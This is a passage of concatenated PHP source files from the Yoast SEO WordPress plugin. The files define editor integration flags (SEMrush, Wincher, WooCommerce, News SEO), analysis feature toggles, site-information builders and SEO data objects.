	 * @return bool The SEMrush login status.
	 */
	private function get_semrush_login_status() {
		try {
			// Do this just in time to handle constructor exception.
			$semrush_client = \YoastSEO()->classes->get( SEMrush_Client::class );
		} catch ( Empty_Property_Exception $e ) {
			// Return false if token is malformed (empty property).
			return false;
		}
		// Get token (and refresh it if it's expired).
		try {
			$semrush_client->get_tokens();
		} catch ( Authentication_Failed_Exception | Empty_Token_Exception $e ) {
			return false;
		}

		return $semrush_client->has_valid_tokens();
	}
}
wordpress-seo/src/editors/framework/integrations/news-seo.php000064400000002763147510273100020604 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the News SEO plugin is enabled.
 */
class News_SEO implements Integration_Data_Provider_Interface {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager The addon manager.
	 */
	public function __construct( WPSEO_Addon_Manager $addon_manager ) {
		$this->addon_manager = $addon_manager;
	}

	/**
	 * If the plugin is activated.
	 *
	 * @return bool If the plugin is activated.
	 */
	public function is_enabled(): bool {
		return \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::NEWS_SLUG ) );
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [ 'isNewsSeoActive' => $this->is_enabled() ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ 'isNewsSeoActive' => $this->is_enabled() ];
	}
}
wordpress-seo/src/editors/framework/integrations/wincher.php000064400000004447147510273100020504 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Wincher_Helper;

/**
 * Describes if the Wincher integration is enabled.
 */
class Wincher implements Integration_Data_Provider_Interface {

	/**
	 * The Wincher helper.
	 *
	 * @var Wincher_Helper
	 */
	private $wincher_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Wincher_Helper $wincher_helper The Wincher helper.
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Wincher_Helper $wincher_helper, Options_Helper $options_helper ) {
		$this->wincher_helper = $wincher_helper;
		$this->options_helper = $options_helper;
	}

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return $this->wincher_helper->is_active();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [
			'active'            => $this->is_enabled(),
			'loginStatus'       => $this->is_enabled() && $this->wincher_helper->login_status(),
			'websiteId'         => $this->options_helper->get( 'wincher_website_id', '' ),
			'autoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ),
		];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [
			'wincherIntegrationActive' => $this->is_enabled(),
			'wincherLoginStatus'       => $this->is_enabled() && $this->wincher_helper->login_status(),
			'wincherWebsiteId'         => $this->options_helper->get( 'wincher_website_id', '' ),
			'wincherAutoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ),
		];
	}
}
wordpress-seo/src/editors/framework/integrations/woocommerce.php000064400000003126147510273100021355 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Woocommerce plugin is enabled.
 */
class WooCommerce implements Integration_Data_Provider_Interface {

	/**
	 * The WooCommerce conditional.
	 *
	 * @var WooCommerce_Conditional $woocommerce_conditional
	 */
	private $woocommerce_conditional;

	/**
	 * The constructor.
	 *
	 * @param WooCommerce_Conditional $woocommerce_conditional The WooCommerce conditional.
	 */
	public function __construct( WooCommerce_Conditional $woocommerce_conditional ) {
		$this->woocommerce_conditional = $woocommerce_conditional;
	}

	/**
	 * If the plugin is activated.
	 *
	 * @return bool If the plugin is activated.
	 */
	public function is_enabled(): bool {
		return $this->woocommerce_conditional->is_met();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [ 'isWooCommerceActive' => $this->is_enabled() ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ 'isWooCommerceActive' => $this->is_enabled() ];
	}
}
wordpress-seo/src/editors/framework/keyphrase-analysis.php000064400000003151147510273100020142 0ustar00<?php

namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes how it is determined if the Keyphrase analysis is turned on.
 */
class Keyphrase_Analysis implements Analysis_Feature_Interface {

	public const NAME = 'keyphraseAnalysis';

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * If this analysis is enabled.
	 *
	 * @return bool If this analysis is enabled.
	 */
	public function is_enabled(): bool {
		return $this->is_globally_enabled() && $this->is_user_enabled();
	}

	/**
	 * If this analysis is enabled by the user.
	 *
	 * @return bool If this analysis is enabled by the user.
	 */
	public function is_user_enabled(): bool {
		return ! \get_user_meta( \get_current_user_id(), 'wpseo_keyword_analysis_disable', true );
	}

	/**
	 * If this analysis is enabled globally.
	 *
	 * @return bool If this analysis is enabled globally.
	 */
	public function is_globally_enabled(): bool {
		return (bool) $this->options_helper->get( 'keyword_analysis_active', true );
	}

	/**
	 * Gets the name.
	 *
	 * @return string The name.
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'keywordAnalysisActive';
	}
}
wordpress-seo/src/editors/framework/previously-used-keyphrase.php000064400000002016147510273100021475 0ustar00<?php

namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;

/**
 * Describes if the previously used keyword feature should be enabled.
 */
class Previously_Used_Keyphrase implements Analysis_Feature_Interface {

	public const NAME = 'previouslyUsedKeyphrase';

	/**
	 * If this analysis is enabled.
	 *
	 * @return bool If this analysis is enabled.
	 */
	public function is_enabled(): bool {
		/**
		 * Filter to determine If the PreviouslyUsedKeyphrase assessment should run.
		 *
		 * @param bool $previouslyUsedKeyphraseActive If the PreviouslyUsedKeyphrase assessment should run.
		 */
		return (bool) \apply_filters( 'wpseo_previously_used_keyword_active', true );
	}

	/**
	 * Returns the name of the object.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'previouslyUsedKeywordActive';
	}
}
wordpress-seo/src/editors/framework/word-form-recognition.php000064400000002256147510273100020565 0ustar00<?php

namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Helpers\Language_Helper;

/**
 * Describes if the word for recognition analysis is enabled
 */
class Word_Form_Recognition implements Analysis_Feature_Interface {

	public const NAME = 'wordFormRecognition';

	/**
	 * The language helper.
	 *
	 * @var Language_Helper
	 */
	private $language_helper;

	/**
	 * The constructor.
	 *
	 * @param Language_Helper $language_helper The language helper.
	 */
	public function __construct( Language_Helper $language_helper ) {
		$this->language_helper = $language_helper;
	}

	/**
	 * If this analysis is enabled.
	 *
	 * @return bool If this analysis is enabled.
	 */
	public function is_enabled(): bool {
		return $this->language_helper->is_word_form_recognition_active( $this->language_helper->get_language() );
	}

	/**
	 * Returns the name of the object.
	 *
	 * @return string
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'wordFormRecognitionActive';
	}
}
wordpress-seo/src/editors/framework/cornerstone-content.php000064400000002164147510273100020342 0ustar00<?php

namespace Yoast\WP\SEO\Editors\Framework;

use Yoast\WP\SEO\Editors\Domain\Analysis_Features\Analysis_Feature_Interface;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the Cornerstone content features is enabled.
 */
class Cornerstone_Content implements Analysis_Feature_Interface {

	public const NAME = 'cornerstoneContent';

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * If cornerstone is enabled.
	 *
	 * @return bool If cornerstone is enabled.
	 */
	public function is_enabled(): bool {
		return (bool) $this->options_helper->get( 'enable_cornerstone_content', false );
	}

	/**
	 * Gets the name.
	 *
	 * @return string The name.
	 */
	public function get_name(): string {
		return self::NAME;
	}

	/**
	 * Gets the legacy key.
	 *
	 * @return string The legacy key.
	 */
	public function get_legacy_key(): string {
		return 'cornerstoneActive';
	}
}
wordpress-seo/src/editors/framework/site/post-site-information.php000064400000011567147510273100021556 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework\Site;

use Yoast\WP\SEO\Actions\Alert_Dismissal_Action;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;
use Yoast\WP\SEO\Surfaces\Meta_Surface;

/**
 * The Post_Site_Information class.
 */
class Post_Site_Information extends Base_Site_Information {

	/**
	 * The permalink.
	 *
	 * @var string $permalink
	 */
	private $permalink;

	/**
	 * The alert dismissal action.
	 *
	 * @var Alert_Dismissal_Action $alert_dismissal_action
	 */
	private $alert_dismissal_action;

	/**
	 * Constructs the class.
	 *
	 * @param Short_Link_Helper                  $short_link_helper                  The short link helper.
	 * @param Wistia_Embed_Permission_Repository $wistia_embed_permission_repository The wistia embed permission
	 *                                                                               repository.
	 * @param Meta_Surface                       $meta                               The meta surface.
	 * @param Product_Helper                     $product_helper                     The product helper.
	 * @param Alert_Dismissal_Action             $alert_dismissal_action             The alert dismissal action.
	 * @param Options_Helper                     $options_helper                     The options helper.
	 * @param Promotion_Manager                  $promotion_manager                  The promotion manager.
	 *
	 * @return void
	 */
	public function __construct(
		Short_Link_Helper $short_link_helper,
		Wistia_Embed_Permission_Repository $wistia_embed_permission_repository,
		Meta_Surface $meta,
		Product_Helper $product_helper,
		Alert_Dismissal_Action $alert_dismissal_action,
		Options_Helper $options_helper,
		Promotion_Manager $promotion_manager
	) {
		parent::__construct( $short_link_helper, $wistia_embed_permission_repository, $meta, $product_helper, $options_helper, $promotion_manager );
		$this->alert_dismissal_action = $alert_dismissal_action;
	}

	/**
	 * Sets the permalink.
	 *
	 * @param string $permalink The permalink.
	 *
	 * @return void
	 */
	public function set_permalink( string $permalink ): void {
		$this->permalink = $permalink;
	}

	/**
	 * Returns post specific site information together with the generic site information.
	 *
	 * @return array<string|string,string[]>
	 */
	public function get_legacy_site_information(): array {
		$dismissed_alerts = $this->alert_dismissal_action->all_dismissed();

		$data = [
			'dismissedAlerts'            => $dismissed_alerts,
			'webinarIntroBlockEditorUrl' => $this->short_link_helper->get( 'https://yoa.st/webinar-intro-block-editor' ),
			'metabox'                    => [
				'search_url'    => $this->search_url(),
				'post_edit_url' => $this->edit_url(),
				'base_url'      => $this->base_url_for_js(),
			],
		];

		return \array_merge_recursive( $data, parent::get_legacy_site_information() );
	}

	/**
	 * Returns post specific site information together with the generic site information.
	 *
	 * @return array<string|string,string[]>
	 */
	public function get_site_information(): array {
		$dismissed_alerts = $this->alert_dismissal_action->all_dismissed();

		$data = [
			'dismissedAlerts'            => $dismissed_alerts,
			'webinarIntroBlockEditorUrl' => $this->short_link_helper->get( 'https://yoa.st/webinar-intro-block-editor' ),
			'search_url'                 => $this->search_url(),
			'post_edit_url'              => $this->edit_url(),
			'base_url'                   => $this->base_url_for_js(),
		];

		return \array_merge( $data, parent::get_site_information() );
	}

	/**
	 * Returns the url to search for keyword for the post.
	 *
	 * @return string
	 */
	private function search_url(): string {
		return \admin_url( 'edit.php?seo_kw_filter={keyword}' );
	}

	/**
	 * Returns the url to edit the taxonomy.
	 *
	 * @return string
	 */
	private function edit_url(): string {
		return \admin_url( 'post.php?post={id}&action=edit' );
	}

	/**
	 * Returns a base URL for use in the JS, takes permalink structure into account.
	 *
	 * @return string
	 */
	private function base_url_for_js(): string {
		global $pagenow;

		// The default base is the home_url.
		$base_url = \home_url( '/', null );

		if ( $pagenow === 'post-new.php' ) {
			return $base_url;
		}

		// If %postname% is the last tag, just strip it and use that as a base.
		if ( \preg_match( '#%postname%/?$#', $this->permalink ) === 1 ) {
			$base_url = \preg_replace( '#%postname%/?$#', '', $this->permalink );
		}

		// If %pagename% is the last tag, just strip it and use that as a base.
		if ( \preg_match( '#%pagename%/?$#', $this->permalink ) === 1 ) {
			$base_url = \preg_replace( '#%pagename%/?$#', '', $this->permalink );
		}

		return $base_url;
	}
}
wordpress-seo/src/editors/framework/site/base-site-information.php000064400000013502147510273100021472 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework\Site;

use Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;
use Yoast\WP\SEO\Surfaces\Meta_Surface;

/**
 * The Base_Site_Information class.
 */
abstract class Base_Site_Information {

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper $shortlink_helper
	 */
	protected $short_link_helper;

	/**
	 * The wistia embed permission repository.
	 *
	 * @var Wistia_Embed_Permission_Repository $wistia_embed_permission_repository
	 */
	protected $wistia_embed_permission_repository;

	/**
	 * The meta surface.
	 *
	 * @var Meta_Surface $meta
	 */
	protected $meta;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper $product_helper
	 */
	protected $product_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper $options_helper
	 */
	protected $options_helper;

	/**
	 * The promotion manager.
	 *
	 * @var Promotion_Manager $promotion_manager
	 */
	protected $promotion_manager;

	/**
	 * The constructor.
	 *
	 * @param Short_Link_Helper                  $short_link_helper                  The short link helper.
	 * @param Wistia_Embed_Permission_Repository $wistia_embed_permission_repository The wistia embed permission
	 *                                                                               repository.
	 * @param Meta_Surface                       $meta                               The meta surface.
	 * @param Product_Helper                     $product_helper                     The product helper.
	 * @param Options_Helper                     $options_helper                     The options helper.
	 * @param Promotion_Manager                  $promotion_manager                  The promotion manager.
	 */
	public function __construct(
		Short_Link_Helper $short_link_helper,
		Wistia_Embed_Permission_Repository $wistia_embed_permission_repository,
		Meta_Surface $meta,
		Product_Helper $product_helper,
		Options_Helper $options_helper,
		Promotion_Manager $promotion_manager
	) {
		$this->short_link_helper                  = $short_link_helper;
		$this->wistia_embed_permission_repository = $wistia_embed_permission_repository;
		$this->meta                               = $meta;
		$this->product_helper                     = $product_helper;
		$this->options_helper                     = $options_helper;
		$this->promotion_manager                  = $promotion_manager;
	}

	/**
	 * Returns site information that is the
	 *
	 * @throws Exception If an invalid user ID is supplied to the wistia repository.
	 * @return array<string|string,string[]>
	 */
	public function get_site_information(): array {
		return [
			'adminUrl'                  => \admin_url( 'admin.php' ),
			'linkParams'                => $this->short_link_helper->get_query_params(),
			'pluginUrl'                 => \plugins_url( '', \WPSEO_FILE ),
			'wistiaEmbedPermission'     => $this->wistia_embed_permission_repository->get_value_for_user( \get_current_user_id() ),
			'site_name'                 => $this->meta->for_current_page()->site_name,
			'contentLocale'             => \get_locale(),
			'userLocale'                => \get_user_locale(),
			'isRtl'                     => \is_rtl(),
			'isPremium'                 => $this->product_helper->is_premium(),
			'siteIconUrl'               => \get_site_icon_url(),
			'showSocial'                => [
				'facebook' => $this->options_helper->get( 'opengraph', false ),
				'twitter'  => $this->options_helper->get( 'twitter', false ),
			],
			'sitewideSocialImage'       => $this->options_helper->get( 'og_default_image' ),
			// phpcs:ignore Generic.ControlStructures.DisallowYodaConditions -- Bug: squizlabs/PHP_CodeSniffer#2962.
			'isPrivateBlog'             => ( (string) \get_option( 'blog_public' ) ) === '0',
			'currentPromotions'         => $this->promotion_manager->get_current_promotions(),
			'blackFridayBlockEditorUrl' => ( $this->promotion_manager->is( 'black-friday-2023-checklist' ) ) ? $this->short_link_helper->get( 'https://yoa.st/black-friday-checklist' ) : '',
		];
	}

	/**
	 * Returns site information that is the
	 *
	 * @throws Exception If an invalid user ID is supplied to the wistia repository.
	 * @return array<string|string,string[]>
	 */
	public function get_legacy_site_information(): array {
		return [
			'adminUrl'                  => \admin_url( 'admin.php' ),
			'linkParams'                => $this->short_link_helper->get_query_params(),
			'pluginUrl'                 => \plugins_url( '', \WPSEO_FILE ),
			'wistiaEmbedPermission'     => $this->wistia_embed_permission_repository->get_value_for_user( \get_current_user_id() ),
			'sitewideSocialImage'       => $this->options_helper->get( 'og_default_image' ),
			// phpcs:ignore Generic.ControlStructures.DisallowYodaConditions -- Bug: squizlabs/PHP_CodeSniffer#2962.
			'isPrivateBlog'             => ( (string) \get_option( 'blog_public' ) ) === '0',
			'currentPromotions'         => $this->promotion_manager->get_current_promotions(),
			'blackFridayBlockEditorUrl' => ( $this->promotion_manager->is( 'black-friday-2023-checklist' ) ) ? $this->short_link_helper->get( 'https://yoa.st/black-friday-checklist' ) : '',
			'metabox'                   => [
				'site_name'     => $this->meta->for_current_page()->site_name,
				'contentLocale' => \get_locale(),
				'userLocale'    => \get_user_locale(),
				'isRtl'         => \is_rtl(),
				'isPremium'     => $this->product_helper->is_premium(),
				'siteIconUrl'   => \get_site_icon_url(),
				'showSocial'    => [
					'facebook' => $this->options_helper->get( 'opengraph', false ),
					'twitter'  => $this->options_helper->get( 'twitter', false ),
				],
			],
		];
	}
}
wordpress-seo/src/editors/framework/site/term-site-information.php000064400000004620147510273100021530 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Framework\Site;

use WP_Taxonomy;
use WP_Term;

/**
 * The Term_Site_Information class.
 */
class Term_Site_Information extends Base_Site_Information {

	/**
	 * The taxonomy.
	 *
	 * @var WP_Taxonomy|false
	 */
	private $taxonomy;

	/**
	 * The term.
	 *
	 * @var WP_Term|string|false
	 */
	private $term;

	/**
	 *  Sets the term for the information object and retrieves its taxonomy.
	 *
	 * @param WP_Term|string|false $term The term.
	 *
	 * @return void
	 */
	public function set_term( $term ) {
		$this->term     = $term;
		$this->taxonomy = \get_taxonomy( $term->taxonomy );
	}

	/**
	 * Returns term specific site information together with the generic site information.
	 *
	 * @return array<string|string,string[]>
	 */
	public function get_site_information(): array {
		$data = [
			'search_url'    => $this->search_url(),
			'post_edit_url' => $this->edit_url(),
			'base_url'      => $this->base_url_for_js(),
		];

		return \array_merge_recursive( $data, parent::get_site_information() );
	}

	/**
	 * Returns term specific site information together with the generic site information.
	 *
	 * @return array<string|string,string[]>
	 */
	public function get_legacy_site_information(): array {
		$data = [
			'metabox' => [
				'search_url'    => $this->search_url(),
				'post_edit_url' => $this->edit_url(),
				'base_url'      => $this->base_url_for_js(),
			],
		];

		return \array_merge_recursive( $data, parent::get_legacy_site_information() );
	}

	/**
	 * Returns the url to search for keyword for the taxonomy.
	 *
	 * @return string
	 */
	private function search_url(): string {
		return \admin_url( 'edit-tags.php?taxonomy=' . $this->term->taxonomy . '&seo_kw_filter={keyword}' );
	}

	/**
	 * Returns the url to edit the taxonomy.
	 *
	 * @return string
	 */
	private function edit_url(): string {
		return \admin_url( 'term.php?action=edit&taxonomy=' . $this->term->taxonomy . '&tag_ID={id}' );
	}

	/**
	 * Returns a base URL for use in the JS, takes permalink structure into account.
	 *
	 * @return string
	 */
	private function base_url_for_js(): string {
		$base_url = \home_url( '/', null );
		if ( ! $this->options_helper->get( 'stripcategorybase', false ) ) {
			if ( $this->taxonomy->rewrite ) {
				$base_url = \trailingslashit( $base_url . $this->taxonomy->rewrite['slug'] );
			}
		}

		return $base_url;
	}
}
wordpress-seo/src/editors/domain/integrations/integration-data-provider-interface.php000064400000001556147510273100025335 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Editors\Domain\Integrations;

/**
 * Describes the interface for integration domain objects which can be enabled or not
 */
interface Integration_Data_Provider_Interface {

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool;

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array;

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array;
}
wordpress-seo/src/editors/domain/analysis-features/analysis-feature-interface.php000064400000001221147510273100024445 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Editors\Domain\Analysis_Features;

/**
 * This interface describes an Analysis feature implementation.
 */
interface Analysis_Feature_Interface {

	/**
	 * Returns If the analysis is enabled.
	 *
	 * @return bool
	 */
	public function is_enabled(): bool;

	/**
	 * Returns the name of the object.
	 *
	 * @return string
	 */
	public function get_name(): string;

	/**
	 * Returns the legacy key used in the front-end to determine if the feature is enabled.
	 *
	 * @return string
	 */
	public function get_legacy_key(): string;
}
wordpress-seo/src/editors/domain/analysis-features/analysis-features-list.php000064400000002406147510273100023651 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Editors\Domain\Analysis_Features;

/**
 * This class describes a list of analysis features.
 */
class Analysis_Features_List {

	/**
	 * The features.
	 *
	 * @var array<Analysis_Feature>
	 */
	private $features = [];

	/**
	 * Adds an analysis feature to the list.
	 *
	 * @param Analysis_Feature $feature The analysis feature to add.
	 *
	 * @return void
	 */
	public function add_feature( Analysis_Feature $feature ): void {
		$this->features[] = $feature;
	}

	/**
	 * Parses the feature list to a legacy ready array representation.
	 *
	 * @return array<string,bool> The list presented as a key value representation.
	 */
	public function parse_to_legacy_array(): array {
		$array = [];
		foreach ( $this->features as $feature ) {
			$array = \array_merge( $array, $feature->to_legacy_array() );
		}

		return $array;
	}

	/**
	 * Parses the feature list to an array representation.
	 *
	 * @return array<string,bool> The list presented as a key value representation.
	 */
	public function to_array(): array {
		$array = [];
		foreach ( $this->features as $feature ) {
			$array = \array_merge( $array, $feature->to_array() );
		}

		return $array;
	}
}
wordpress-seo/src/editors/domain/analysis-features/analysis-feature.php000064400000003453147510273100022520 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Editors\Domain\Analysis_Features;

/**
 * This class describes a single Analysis feature and if it is enabled.
 */
class Analysis_Feature {

	/**
	 * If the feature is enabled.
	 *
	 * @var bool
	 */
	private $is_enabled;

	/**
	 * What the identifier of the feature is.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * What the identifier is for the old script data array.
	 *
	 * @var string
	 */
	private $legacy_key;

	/**
	 * The constructor.
	 *
	 * @param bool   $is_enabled If the feature is enabled.
	 * @param string $name       What the identifier of the feature is.
	 * @param string $legacy_key What the identifier is for the old script data array.
	 */
	public function __construct( bool $is_enabled, string $name, string $legacy_key ) {
		$this->is_enabled = $is_enabled;
		$this->name       = $name;
		$this->legacy_key = $legacy_key;
	}

	/**
	 * If the feature is enabled.
	 *
	 * @return bool If the feature is enabled.
	 */
	public function is_enabled(): bool {
		return $this->is_enabled;
	}

	/**
	 * Gets the identifier.
	 *
	 * @return string The feature identifier.
	 */
	public function get_name(): string {
		return $this->name;
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string,bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [ $this->name => $this->is_enabled ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string,bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ $this->legacy_key => $this->is_enabled ];
	}
}
wordpress-seo/src/editors/domain/seo/keyphrase.php000064400000002770147510273100016367 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the keyphrase SEO data.
 */
class Keyphrase implements Seo_Plugin_Data_Interface {

	/**
	 * The keyphrase and the associated posts that use it.
	 *
	 * @var array<string> $keyword_usage_count
	 */
	private $keyphrase_usage_count;

	/**
	 * The post types for the given post IDs.
	 *
	 * @var array<string> $keyword_usage_per_type
	 */
	private $keyphrase_usage_per_type;

	/**
	 * The constructor.
	 *
	 * @param array<string> $keyphrase_usage_count    The keyphrase and the associated posts that use it.
	 * @param array<string> $keyphrase_usage_per_type The post types for the given post IDs.
	 */
	public function __construct( array $keyphrase_usage_count, array $keyphrase_usage_per_type ) {
		$this->keyphrase_usage_count    = $keyphrase_usage_count;
		$this->keyphrase_usage_per_type = $keyphrase_usage_per_type;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array {
		return [
			'keyphrase_usage'          => $this->keyphrase_usage_count,
			'keyphrase_usage_per_type' => $this->keyphrase_usage_per_type,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'keyword_usage'            => $this->keyphrase_usage_count,
			'keyword_usage_post_types' => $this->keyphrase_usage_per_type,
		];
	}
}
wordpress-seo/src/editors/domain/seo/title.php000064400000002620147510273100015507 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the title SEO data.
 */
class Title implements Seo_Plugin_Data_Interface {

	/**
	 * The title template.
	 *
	 * @var string $title_template
	 */
	private $title_template;

	/**
	 * The title template without the fallback.
	 *
	 * @var string $title_template_no_fallback
	 */
	private $title_template_no_fallback;

	/**
	 * The constructor.
	 *
	 * @param string $title_template             The title template.
	 * @param string $title_template_no_fallback The title template without the fallback.
	 */
	public function __construct( string $title_template, string $title_template_no_fallback ) {
		$this->title_template             = $title_template;
		$this->title_template_no_fallback = $title_template_no_fallback;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array {
		return [
			'title_template'             => $this->title_template,
			'title_template_no_fallback' => $this->title_template_no_fallback,
		];
	}

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array {
		return [
			'title_template'             => $this->title_template,
			'title_template_no_fallback' => $this->title_template_no_fallback,
		];
	}
}
wordpress-seo/src/editors/domain/seo/seo-plugin-data-interface.php000064400000000731147510273100021316 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the SEO data interface.
 */
interface Seo_Plugin_Data_Interface {

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
	public function to_array(): array;

	/**
	 * Returns the data as an array format meant for legacy use.
	 *
	 * @return array<string>
	 */
	public function to_legacy_array(): array;
}
wordpress-seo/src/editors/domain/seo/description.php000064400000002502147510273100016710 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
namespace Yoast\WP\SEO\Editors\Domain\Seo;

/**
 * This class describes the description SEO data.
 */
class Description implements Seo_Plugin_Data_Interface {

	/**
	 * The formatted description date.
	 *
	 * @var string $description_date
	 */
	private $description_date;

	/**
	 * The description template.
	 *
	 * @var string $description_template
	 */
	private $description_template;

	/**
	 * The constructor.
	 *
	 * @param string $description_date     The description date.
	 * @param string $description_template The description template.
	 */
	public function __construct( string $description_date, string $description_template ) {
		$this->description_date     = $description_date;
		$this->description_template = $description_template;
	}

	/**
	 * Returns the data as an array format.
	 *
	 * @return array<string>
	 */
